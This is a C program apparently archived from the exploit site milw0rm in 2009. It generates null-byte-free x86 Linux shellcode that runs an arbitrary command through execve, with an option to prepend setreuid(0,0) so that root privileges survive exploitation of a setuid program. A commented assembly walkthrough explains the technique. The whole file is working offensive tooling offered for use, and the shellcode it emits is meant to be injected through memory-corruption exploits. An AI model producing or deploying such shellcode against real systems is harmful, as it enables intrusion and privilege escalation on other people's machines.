/* *\
[] []
[] Shellcode Generator null byte free. []
[] []
[] Author: certaindeath []
[] Site: certaindeath.netii.net (at the moment under construction) []
[] []
[] This program generates a shellcode which uses the stack to store the command (and its arguments). []
[] Afterwords it executes the command with the system call "execve". []
[] []
[] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end. []
[] []
\* */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/types.h>
#define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command
void print_c(__u8*,int);
void push_shc(__u8*, char*, int*);
int main(int argc, char *argv[]){
char cmd[255], *a;
FILE *c;
int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
__u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};
if(argc<2){
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
"| Shellcode Generator |\n"
"| by certaindeath |\n"
"| |\n"
"| Usage: ./generator <cmd> |\n"
" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
_exit(1);
}
a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));
//find the command path
a[0]=0;
strcat(a, "whereis ");
strcat(a, argv[1]);
c=popen(a, "r");
while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));
while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));
cmd[--k]=0;
if(k==0){
printf("No executables found for the command \"%s\".\n", argv[1]);
_exit(1);
}
if(strlen(cmd)>254){
printf("The lenght of the command path can't be over 254 bye.\n");
_exit(1);
}
for(i=2;i<argc;i++)
if(strlen(argv[i])>254){
printf("The lenght of each command argument can't be over 254 byte.\n");
_exit(1);
}
//work out the final shellcode lenght
b=(k%2);
b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
for(i=2; i<argc;i++){
k=strlen(argv[i]);
b=(k%2);
b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
}
totl+=4*(argc-2);
printf("Shellcode lenght: %i\n", totl);
//build the shellcode
shc=(__u8 *)malloc((totl+1)*sizeof(__u8));
memcpy(shc, start, 2);
if(SETRUID){
memcpy(shc+shp, struid, 10);
shp+=10;
}
if(argc>2)
push_shc(shc, argv[argc-1], &shp);
else
push_shc(shc, cmd, &shp);
memset(shc+(shp++), 0x89, 1);
memset(shc+(shp++), 0xe6, 1);
if(argc>2){
for(i=argc-2;i>1;i--)
push_shc(shc, argv[i], &shp);
push_shc(shc, cmd, &shp);
}
memset(shc+(shp++), 0x50, 1);
memset(shc+(shp++), 0x56, 1);
if(argc>2){
for(i=argc-2;i>1;i--){
memset(shc+(shp++), 0x83, 1);
memset(shc+(shp++), 0xee, 1);
memset(shc+(shp++), strlen(argv[i])+1, 1);
memset(shc+(shp++), 0x56, 1);
}
memset(shc+(shp++), 0x83, 1);
memset(shc+(shp++), 0xee, 1);
memset(shc+(shp++), strlen(cmd)+1, 1);
memset(shc+(shp++), 0x56, 1);
}
memcpy(shc+shp, end, 16);
print_c(shc,totl);
return 0;
}
void print_c(__u8 *s,int l){
int k;
for(k=0;k<l;k++){
printf("\\x%.2x", s[k]);
if(((k+1)%8)==0) printf("\n");
}
printf("\n");
}
void push_shc(__u8 *out, char *str, int *sp){
int i=strlen(str), k, b, b1, tmp=i;
__u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};
memcpy(out+(*sp), pushb_0, 6);
*sp+=6;
for(k=0;k<((i-(i%4))/4);k++){
memset(out+((*sp)++), 0x68, 1);
tmp-=4;
memcpy(out+(*sp), str+tmp, 4);
*sp+=4;
}
b=(i%2);
b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);
if(b1){
memset(out+((*sp)++), 0x66, 1);
memset(out+((*sp)++), 0x68, 1);
tmp-=2;
memcpy(out+(*sp), str+tmp, 2);
*sp+=2;
}
if(b){
memcpy(out+(*sp), pushb, 6);
*sp+=6;
memcpy(out+((*sp)++), str+(--tmp), 1);
}
}
/*
Here is the assembly code of a shellcode which executes the command "ls -l /dev".
This is the method used by the shellcode generator.
.global _start
_start:
xorl %eax, %eax ;clear eax
subl $1, %esp ; "/dev" pushed into the stack with a null byte at the end
movb %al, (%esp)
push $0x7665642f
movl %esp, %esi ;esp(address of "/dev") is saved in esi
subl $1, %esp ;"-l" pushed into the stack with a null byte at the end
movb %al, (%esp)
pushw $0x6c2d
subl $1, %esp ;"/bin/ls" pushed into the stack with a null byte at the end
movb %al, (%esp)
push $0x736c2f6e
pushw $0x6962
subl $1, %esp
movb $0x2f, (%esp)
;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack
push %eax ;the NULL pointer pushed into the stack
push %esi ;the address of "/dev" pushed into the stack
subl $3, %esi ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev"
push %esi ;to find the address of "-l" and then push it into the stack
subl $8, %esi ;the same thing is done with the address of "/bin/ls"
push %esi
movb $11, %al ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0)
movl %esi, %ebx ;is executed
movl %esp, %ecx
xor %edx, %edx
int $0x80
movb $1, %al ;_exit(0);
xor %ebx, %ebx
int $0x80
*/
// milw0rm.com [2009-06-29]
